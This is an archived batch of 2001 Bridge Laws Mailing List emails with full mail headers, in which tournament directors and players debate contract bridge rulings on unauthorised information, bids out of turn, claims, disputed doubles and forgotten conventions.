(finch-post-10.mail.demon.net [194.217.242.38]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0HHVZt15097 for ; Thu, 18 Jan 2001 04:31:35 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-10.mail.demon.net with smtp (Exim 2.12 #1) id 14IwQh-000HqA-0A for bridge-laws@rgb.anu.edu.au; Wed, 17 Jan 2001 17:31:30 +0000 Message-ID: Date: Wed, 17 Jan 2001 01:58:51 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: Illicit information [was: Re: [BLML] What is suggested ?] References: <200101162040.PAA12472@cfa183.harvard.edu> In-Reply-To: <200101162040.PAA12472@cfa183.harvard.edu> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Steve Willner writes >> From: David Stevenson >> I too am having difficulty proving >> that a Law has been broken when a player deliberately looks at hand >> records in advance. > >The problem with L6D1 is that it must be "ascertained before the >auction begins" that someone has looked at hand records. I think the >law should apply when the 'seeing' is before the auction begins, but as >the text is written, it's the 'ascertaining' that matters. > >Unlike some other BLML'ists, I am sure that seeing the hand records is >the same as seeing "the face of a card." Sure, I am happy with that. > If not, what if the game is >played on computers or otherwise without the usual pieces of >cardboard? Perhaps the drafters might consider rewording in the next >edition of the Laws. Something like "becomes aware of the identity of >any card held by another player" might do it, although this is >cumbersome (and still not quite right, I think). > >On looking at L6D1, though, I'm not sure I understand it. Suppose a >card is accidentally turned face up during the initial shuffling. >Clearly we redeal, L6D1, no problem. But what happens if, on a later >round, a player turns a card face up as he is removing his cards from >the board? Or if you want to be technical, exposes it in such a way >that other players can see it but he himself cannot? The auction >period has not begun (L17A), so it would seem that 6D1 still applies. >But it doesn't seem right to reshuffle after the board has already been >played. What am I missing? I think that we do have to read Laws in context. L6D1 really only applies to the initial shuffling/dealing period. OK, that's an interpretation, but I think a fair one. So you just apply L16B to the later event. But this tells us what to do when someone accidentally sees a card and lets the TD know. What Law stops him doing so deliberately and not telling anyone? L16B refers to accidentally seeing a card. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 04:32:07 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0HHVkK15112 for bridge-laws-outgoing; Thu, 18 Jan 2001 04:31:46 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-11.mail.demon.net (finch-post-11.mail.demon.net [194.217.242.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0HHVYt15095 for ; Thu, 18 Jan 2001 04:31:34 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-11.mail.demon.net with smtp (Exim 2.12 #1) id 14IwQh-0005m0-0B for bridge-laws@rgb.anu.edu.au; Wed, 17 Jan 2001 17:31:29 +0000 Message-ID: Date: Wed, 17 Jan 2001 02:13:50 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Automatic Penalties for Forgetting System References: <200101161712.MAA19018@freenet10.carleton.ca> In-Reply-To: <200101161712.MAA19018@freenet10.carleton.ca> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk A. L. Edwards writes >This was published in the ACBL Bulletin. I previously mentioned it >on BLML. > Tony (aka ac342) >ACBL Bridge Bulletin, April 1998, p.87: > Fixing the Fixers > Remember the time an opponent forgot a >convention and "fixed" you? Remember the >time you forgot a convention and "fixed" >yourself? > That doesn't happen much these days at >the Victoria Duplicate Bridge Club in >Victoria BC--not since club manager Mike >Ayer instituted his "strike two rule" about >eight months ago. >You are allowed one "forget" of a convention. >A second forget means you and partner may not >play any Alertable bid the rest of the session. >"I have very few complaints about people >forgetting their system.", said Ayer. "People >seem a lot happier." [published without > permission, and with apologies] > > This was in a section called "Here's the Latest about >Clubs". It is devoted to what various ACBL clubs are >doing and showcases interesting events, ideas and players. >As such, I "presume" the ACBL agrees with these ideas. >There is no disclaimer otherwise, and I assume (yes, yes, >"ass" of "me" and "you") that it has been edited for >content. > Am I the only one who is uncomfortable with this policy? >It seems quite illegal. The ACBL policy towards conventions >in clubs is that the individual club can permit/forbid any >convention it wants to in their own games. However, I >cannot find anywhere in the Laws where a pair can be >effectively forced to change systems in mid-session. Nor >have I found a law which bans a pair from using a convention >which is otherwise permitted to the rest of the contestants. >It seems to me that if a club wishes to limit the use >of conventions, this policy should apply to all the >players, and not just to those who may be less experienced >or more forgetful. Bridge is, after all, a game of mistakes; >I do not need Big Brother to protect me from an opponent >who is about to fall on his sword--even if that "opponent" >happens to be me! >Please comment on the legality and practicality of this policy. I am sure it is legal. Not only is the language of L40D very wide, but also the WBFLC has confirmed that they mean it to be all-embracing. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 04:32:10 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0HHVsa15118 for bridge-laws-outgoing; Thu, 18 Jan 2001 04:31:55 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-11.mail.demon.net (finch-post-11.mail.demon.net [194.217.242.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0HHVYt15096 for ; Thu, 18 Jan 2001 04:31:35 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-11.mail.demon.net with smtp (Exim 2.12 #1) id 14IwQh-0005lz-0B for bridge-laws@rgb.anu.edu.au; Wed, 17 Jan 2001 17:31:31 +0000 Message-ID: Date: Wed, 17 Jan 2001 02:10:54 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Let's get back to the easy stuff References: <1e.10014d60.2795a82e@aol.com> In-Reply-To: <1e.10014d60.2795a82e@aol.com> MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 X-Mailer: Turnpike Integrated Version 4.02 U Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by rgb.anu.edu.au id f0HHVbt15099 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Schoderb@aol.com writes > In a message dated 1/15/01 5:52:28 PM Eastern Standard Time, > adam@irvine.com > writes: > > >> I think the answer to David's question is that since, at the >> time of >> North's irregularity, North knows absolutely nothing about >> South's >> hand except for the fact that it contains 13 cards, Law 72B1 >> cannot >> apply.  Thus there are no constraints on North's bidding. > Amen,  Kojak So maybe that's the answer. There is just one tiny niggle. You open 1S out of turn and find partner was dealer. The oppos do not accept your 1S bid, partner is silenced, there are lead penalties if you defend and do not bid spades later, and your 1S is UI to partner [some people think it should be one or other of the last two, but currently it is both]. OK. Partner is in deep doo-doo, and cannot use your 1S in any way. No problem. And I do not see how L72B1 can possibly apply, unless your hand was weak enough to wish to silence partner. No problem. But: what is the effect on your own later bidding of your 1S bid? For example, suppose you have six hearts and five spades, and opened 1S because the hearts are weak. Now partner is silenced, what should you bid? 3H, maybe to try to shut the oppos up? But then they will realise you have spades and hearts. Perhaps you should bid 3S and they will miscount the hand. Is this legal? L72A5 allows you to do your best after paying the penalty, so it seems legal, but .... This is based on your knowledge that you opened 1S OOT, and then withdrew that 1S bid. **But L16C2 says that the 1S is unauthorised to your _side_, so the 1S bid is unauthorised information to you.** If you rebid the spades, and do not mention the hearts, do we adjust the score because bidding the hearts is an LA, as mentioned in L16C? Hehe. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 04:32:14 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0HHVxm15119 for bridge-laws-outgoing; Thu, 18 Jan 2001 04:31:59 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-10.mail.demon.net (finch-post-10.mail.demon.net [194.217.242.38]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0HHVgt15109 for ; Thu, 18 Jan 2001 04:31:43 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-10.mail.demon.net with smtp (Exim 2.12 #1) id 14IwQn-000Hq9-0A for bridge-laws@rgb.anu.edu.au; Wed, 17 Jan 2001 17:31:36 +0000 Message-ID: Date: Wed, 17 Jan 2001 02:25:31 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] The same but different. References: <01C0801C.AF0BCE40.tsvecfob@iol.ie> In-Reply-To: <01C0801C.AF0BCE40.tsvecfob@iol.ie> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Fearghal O'Boyle writes >Anne asked: >Please Compare and Contrast Law 16A and Law 73C > >This was a good question and I thought it might provoke some discussion? > >DWS answered: > Easy peasy: L73C tells players what to do, L16A tells TDs what to do. > >Ok. L73C tells the player what to do while the TD will expect the player to act >as in L16. >So why not tell the player how the TD will expect him to act? It is much easier for the average player to understand that he is required to 'bend over backwards' not to use UI than to try to get him to understand that he will be ruled against if he chooses an LA that is suggested over other LAs by ..... You go down to your local club and ask them whether on some sequence or other 5S is a "logical alternative"? They will look at you as though you had sprouted a second head. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 04:32:17 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0HHW0i15120 for bridge-laws-outgoing; Thu, 18 Jan 2001 04:32:00 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-12.mail.demon.net (finch-post-12.mail.demon.net [194.217.242.41]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0HHVdt15106 for ; Thu, 18 Jan 2001 04:31:40 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-12.mail.demon.net with smtp (Exim 2.12 #1) id 14IwQh-000FLp-0C for bridge-laws@rgb.anu.edu.au; Wed, 17 Jan 2001 17:31:31 +0000 Message-ID: Date: Wed, 17 Jan 2001 02:16:54 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Claim: Correct Procedure References: In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Ed Reppert writes >Hash: SHA1 > >>I asked a question about claims, and received three answers: > >Adam Beneschen wrote: > >>it may be that the defenders are permitted to examine each >>others' hands simply by the absence of any Law to the contrary being >>in effect. > >Marv French wrote: > >L70B3: The Director then hears the opponents' objections to the claim. > >Now, can they consult about their objections, helping each other to find >a line of play that invalidates the claim? That would be the inevitable >conclusion, since one partner can state an objection, the other can >modify it, the first remodify, etc., until a line is found. "Objections" >isn't limited to one objection per player. > >David Stevenson was considerably less charitable, saying: > >> It does not matter whether it is correct or not. If a defender would >>contest this claim if his partner had the spade king then he contests >>the claim. >> >> You may be right that he has no right to inspect his partner's hand >>but no-one would ever get a ruling based on it, and I would probably hit >>declarer with a DP if he tried it. > > >I thank the first two respondents. As for David, well, let me now >simply say what I will do. > >1. When I as declarer believe I know how the hand will play out, I >will face my cards, and (attempt to) state a line of play. I say >"attempt to" because nine times out of ten some idiot starts in with >"you can't do that!" or "play it out" or some other bullshit >interruption. > >2. At that point, I will call the TD and let him sort it out. If >opponents have not allowed me to state a line of play, I will so >inform the TD. > >It seems to me, David, that if I follow this procedure, the question >whether opponents "have a right" to examine each others' hands will >be moot. Am I wrong? Sure. I will hit the non-claimers with a DP in this case. I am accustomed to this game being played in a good spirit. When this not the case, I am prepared to use the disciplinary powers granted top me as a TD to deal with malcontents. -- David Stevenson Liverpool, England, UK For help in rulings see the International Bridge Laws Forum at http://blakjak.com/iblf.htm -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 04:59:58 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0HHxVq15198 for bridge-laws-outgoing; Thu, 18 Jan 2001 04:59:31 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hotmail.com (oe3.law8.hotmail.com [216.33.240.107]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0HHxPt15194 for ; Thu, 18 Jan 2001 04:59:26 +1100 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 17 Jan 2001 09:59:17 -0800 X-Originating-IP: [63.22.203.198] From: "Roger Pewick" To: "blml" Subject: [BLML] history of the withdrawal of an implausible concession Date: Wed, 17 Jan 2001 12:02:19 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Message-ID: X-OriginalArrivalTime: 17 Jan 2001 17:59:17.0554 (UTC) FILETIME=[35BC5120:01C080AF] Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In 1963 the time limit for withdrawal of an impossible concession was until the cards went back into the board. In 1987 the time limit for withdrawal of an impossible concession lengthened to the correction period of L79C. Also the implausible concession first appeared where the time limit went past the time of the completion of the hand to the side calling to the next board/ end of round. >From what has been written in the L71C thread, my understanding is that in 1997 the withdrawal of the implausible concession was [the superfluous sentence*] extended to the correction period of L79C. I am interested in the history of the withdrawal of an implausible concession, including the principles and reasoning used in its creation. Thanks Roger Pewick * The second sentence, starting with 'Until' and ending with 'cards' for sure has been deleted. All of you analyzing that something is wrong with this sentence in relation to other (parts of) laws are right, which was the reason to decide to take it out. We did this already in '97 I think. So take your pensil and also shout it out. ton -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 05:22:26 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0HILtX15250 for bridge-laws-outgoing; Thu, 18 Jan 2001 05:21:55 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.iol.ie (mail1.mail.iol.ie [194.125.2.192]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0HILmt15246 for ; Thu, 18 Jan 2001 05:21:49 +1100 (EST) Received: from oemcomputer (dialup-005.sligo.iol.ie [194.125.48.197]) by mail.iol.ie Sendmail (v8.9.3) with SMTP id SAA00224 for ; Wed, 17 Jan 2001 18:21:34 GMT Received: by localhost with Microsoft MAPI; Wed, 17 Jan 2001 18:20:23 -0000 Message-ID: <01C080B2.287898E0.tsvecfob@iol.ie> From: "Fearghal O'Boyle" To: "'bridge-laws@octavia.anu.edu.au'" Subject: RE: [BLML] Let's get back to the easy stuff Date: Wed, 17 Jan 2001 18:20:22 -0000 X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4211 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Ton wrote: Example: If I have 17 points and something happens by which my partner has to pass I am allowed to bid 3NT and to make it. But if I do something by which my partner is barred from the bidding and only now I can make the final call in the right contract, the laws allow the TD to take that advantage away (this is described in a more general way in L 23) So if I hold: S. A6 H. KQ8765 D. K5 C. A54 and 1H out of turn thereby barring partner. Partner holds: S KJ5 H. AJ D. 643 C. 97632 If I now bid 4H and make it - I will get to keep my 4H - even if partner has a weaker hand. But if I bid 3H and make 3H where 4H-1 would be normal, I will not be allowed to keep +140. Is this what Ton is saying? Best regards, Fearghal. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 06:08:01 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0HJ7ZL15336 for bridge-laws-outgoing; Thu, 18 Jan 2001 06:07:35 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from freenet.carleton.ca (freenet1.carleton.ca [134.117.136.20]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0HJ7St15332 for ; Thu, 18 Jan 2001 06:07:29 +1100 (EST) Received: from freenet10.carleton.ca (freenet10 [134.117.136.30]) by freenet.carleton.ca (8.9.3+Sun/8.9.3/NCF_f1_v3.00) with ESMTP id OAA26911 for ; Wed, 17 Jan 2001 14:07:16 -0500 (EST) Received: (ac342@localhost) by freenet10.carleton.ca (8.9.3+Sun/NCF-Sun-Client) id OAA08466; Wed, 17 Jan 2001 14:07:16 -0500 (EST) Date: Wed, 17 Jan 2001 14:07:16 -0500 (EST) Message-Id: <200101171907.OAA08466@freenet10.carleton.ca> From: ac342@freenet.carleton.ca (A. L. Edwards) To: bridge-laws@rgb.anu.edu.au Subject: [BLML] Double Trouble Reply-To: ac342@freenet.carleton.ca Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk brd # 11 S Q84 S W N E NSV H Q8542 1C DBL P 1H dlr: S D 853 2D 3H X P C 85 4C P(1) P P S K32 S JT97 (P) H AKT3 H J976 D AT97 D QJ 1) West said he put out a DBL, C A7 C 932 not a pass card S A65 H --- result: 4C-3, NS -150 D K642 ruling: result stands C KQJT64 appeal: cancelled I was called to the table at the end of the hand. West claimed that he had doubled 4C; NS said that he hadn't. I asked to see the personal scorecards; West's card was marked 4Cx; South's was marked 4C; North was not keeping score, but maintained that there was no X; East's card was marked 4C (no x). When I asked E if he had seen his partner double, he replied, "Well, he did double to start with...", and seemed quite uncomfortable. West claimed that it was obvious that he had doubled, everyone would with his hand. I ruled that there had been no double. I informed West that, since this was a judgement decision, he could appeal (he already knew this, as he is a director himself, albeit from South Africa). He was most annoyed that I did not take his word that he had doubled, and said that he would most certainly appeal (though he was never unpleasant about it). He withdrew the appeal because his team ended up a distant 3rd; they had won the match in question, and winning the appeal would have made no difference in the standings. This is what the ACBL has to say (from ACBL Tech Files): DISAGREEMENT OVER A CALL (OR CALL OF A CARD IN DUMMY) When there is a dispute pertaining to a call or the call of a card from dummy, it is customary to give more weight to the "speaker's" statement. In cases where there is no evidence to the contrary TDs should rule in agreement with the "speaker". This would apply to cases where it is 2 to 2 or 1 to 1. Where all the other players (excepting the "speaker") have given SOME indication that they thought the "speaker" said something else, TDs should rule with the majority. In cases that are 2 to 1 it is material to which side the one abstaining belongs. When the "speaker's" partner abstains, there should be a slight tendency to rule with the majority. When it is a member of the other side abstaining, there should be a marked tendency to rule with the majority. These are guidelines. Whenever there is substancial evidence, TDs should rule with the evidence. Committees have purview as these matters are a question of fact. (Office Policy--November, 1994) -30- I have posted a "what is your call?" question to RGB in order to test West's assertion that everyone would double. In this forum I'm interested in how others deal with type of problem. What procedure do you use to find out the facts? What guidelines does your SO use? One local expert suggested that the first thing I should do is ask who made the final pass; a good idea I hadn't thought of before, I always go straight for the private scorecard. Thanks for any responces, suggestions and criticisms; to live is to learn. :-) Tony (aka ac342) -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 06:32:12 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0HJVgY15386 for bridge-laws-outgoing; Thu, 18 Jan 2001 06:31:42 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hotmail.com (f57.law3.hotmail.com [209.185.241.57]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0HJVat15382 for ; Thu, 18 Jan 2001 06:31:37 +1100 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 17 Jan 2001 11:31:28 -0800 Received: from 134.134.248.27 by lw3fd.law3.hotmail.msn.com with HTTP; Wed, 17 Jan 2001 19:31:28 GMT X-Originating-IP: [134.134.248.27] From: "Todd Zimnoch" To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Let's get back to the easy stuff Date: Wed, 17 Jan 2001 11:31:28 -0800 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 17 Jan 2001 19:31:28.0857 (UTC) FILETIME=[16A62C90:01C080BC] Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk >From: David Stevenson > This is based on your knowledge that you opened 1S OOT, and then >withdrew that 1S bid. **But L16C2 says that the 1S is unauthorised to >your _side_, so the 1S bid is unauthorised information to you.** > > If you rebid the spades, and do not mention the hearts, do we adjust >the score because bidding the hearts is an LA, as mentioned in L16C? Law 29B -- call out of rotation is cancelled, not withdrawn. You do not get to substitute your bid; the bid reverts back to the correct person in order. L16C requires that the call/play has been withdrawn and substituted. L16C does not apply, but rather L16A. The cancelled 1S bid is UI to your partner, but not to yourself. -Todd _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 06:58:20 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0HJw4K17299 for bridge-laws-outgoing; Thu, 18 Jan 2001 06:58:04 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop2.san.rr.com [24.25.193.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0HJvwt17266 for ; Thu, 18 Jan 2001 06:57:59 +1100 (EST) Received: from marvin ([24.30.153.86]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Wed, 17 Jan 2001 11:57:13 -0800 Message-ID: <013a01c080bf$bf68d000$56991e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <01C080B2.287898E0.tsvecfob@iol.ie> Subject: Re: [BLML] Let's get back to the easy stuff Date: Wed, 17 Jan 2001 11:57:32 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "Fearghal O'Boyle" > > Ton wrote: > >> Example: If I have 17 points and something happens by which my partner has >> to pass I am allowed to bid 3NT and to make it. But if I do something by >> which my partner is barred from the bidding and only now I can make the >> final call in the right contract, the laws allow the TD to take that >> advantage away (this is described in a more general way in L 23) > > So if I hold: S. A6 H. KQ8765 D. K5 C. A54 > and 1H out of turn thereby barring partner. > Partner holds: S KJ5 H. AJ D. 643 C. 97632 > > If I now bid 4H and make it - I will get to keep my 4H - even if partner has a weaker hand. > > But if I bid 3H and make 3H where 4H-1 would be normal, I will not be allowed to keep +140. > > Is this what Ton is saying? > Don't think so. I think he is saying that if I do something that bars partner, then my actions may be constrained. I can't do something that relies (or appears to rely) on partner's barred status for its success (L23). An opponent did that to me at an NABC once (via an insufficient bid), and got away with it. If, however, it is not I that caused partner's barring, I can make any call I wish (e.g., Ton's example). Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 07:27:44 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0HKR6v27520 for bridge-laws-outgoing; Thu, 18 Jan 2001 07:27:06 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from swarm.mosquitonet.com (swarm.mosquitonet.com [206.129.11.16]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0HKQxt27485 for ; Thu, 18 Jan 2001 07:26:59 +1100 (EST) Received: from bigbyte.mosquitonet.com (bigbyte.mosquitonet.com [206.129.11.2]) by swarm.mosquitonet.com (8.9.1/8.9.3) with SMTP id LAA31104 for ; Wed, 17 Jan 2001 11:41:20 -0900 Date: Wed, 17 Jan 2001 11:27:20 -0900 (AKST) From: Gordon Bower To: Bridge Laws Mailing List Subject: Re: [BLML] Escape sequences In-Reply-To: <3A65803C.DE757129@village.uunet.be> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On Wed, 17 Jan 2001, Herman De Wael wrote: > > The question I was putting was "is this allowed" in some > sense of admissible systems. > I remember a discussion, not on blml, about a call of 4Di > which simply meant "partner, I have forgotten the system, > please make the final call". > > Some people believe this type of system is not allowed, some > say it should not be. > > Opinions ? > The ACBL seems to be quite clear that it is an allowable agreement. "Place the contract, partner" meets my definition of a constructive call, all of which are allowed here starting with opener's rebid. "Conventional responses which guarantee game forcing or better values" are also allowed on the first round of bidding, so 4-forcing-diamonds or anything higher that means this is ACBLegal. It is also, of course, an inefficient system for players with good memories, so I doubt you'll see it seriously suggested as a good agreement to have. The problem with such calls arises when they are NOT included as part of the system. You run into the usual UI and implicit-agreement minefields if you use an idle bid for this purpose and hope partner figures it out -- especially if your opponents don't think the bid is really idle. (Easy example: in my club there are many pairs who, after a Jacoby Transfer of 2D, will *always* complete with 2H, and responder will *always* either pass or bid 3H, 3NT, 4H, or 4NT. For these pairs there is no question that 1NT-2D-2H-3D and 1NT-2D-3D-3H mean "he forgot the system." Some of them have forgotten and used these sequences so many times they gape in surprise at me when I have this auction and turn up with a strong red 2-suiter. There's never been any question of adjusting their scores for passing the escape bid. Yet called to a stranger's table to make a ruling, it would be very hard to convince me to allow 3D to be passed in the first sequence. As a TD I am supposed to make use of all the facts I have at my disposal to make the best ruling - but it bothers me that how well I know a pair can affect my decision.) In the actual case it seems to depend a lot on whether 3NT was forcing or not. GRB -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 18 08:30:21 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0HLTbr12582 for bridge-laws-outgoing; Thu, 18 Jan 2001 08:29:37 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from swarm.mosquitonet.com (swarm.mosquitonet.com [206.129.11.16]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0HLTUt12578 for ; Thu, 18 Jan 2001 08:29:31 +1100 (EST) Received: from bigbyte.mosquitonet.com (bigbyte.mosquitonet.com [206.129.11.2]) by swarm.mosquitonet.com (8.9.1/8.9.3) with SMTP id MAA02563 for ; Wed, 17 Jan 2001 12:43:54 -0900 Date: Wed, 17 Jan 2001 12:29:54 -0900 (AKST) From: Gordon Bower To: Bridge Laws Mailing List Subject: Re: [BLML] Let's get back to the easy stuff In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=X-UNKNOWN Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by rgb.anu.edu.au id 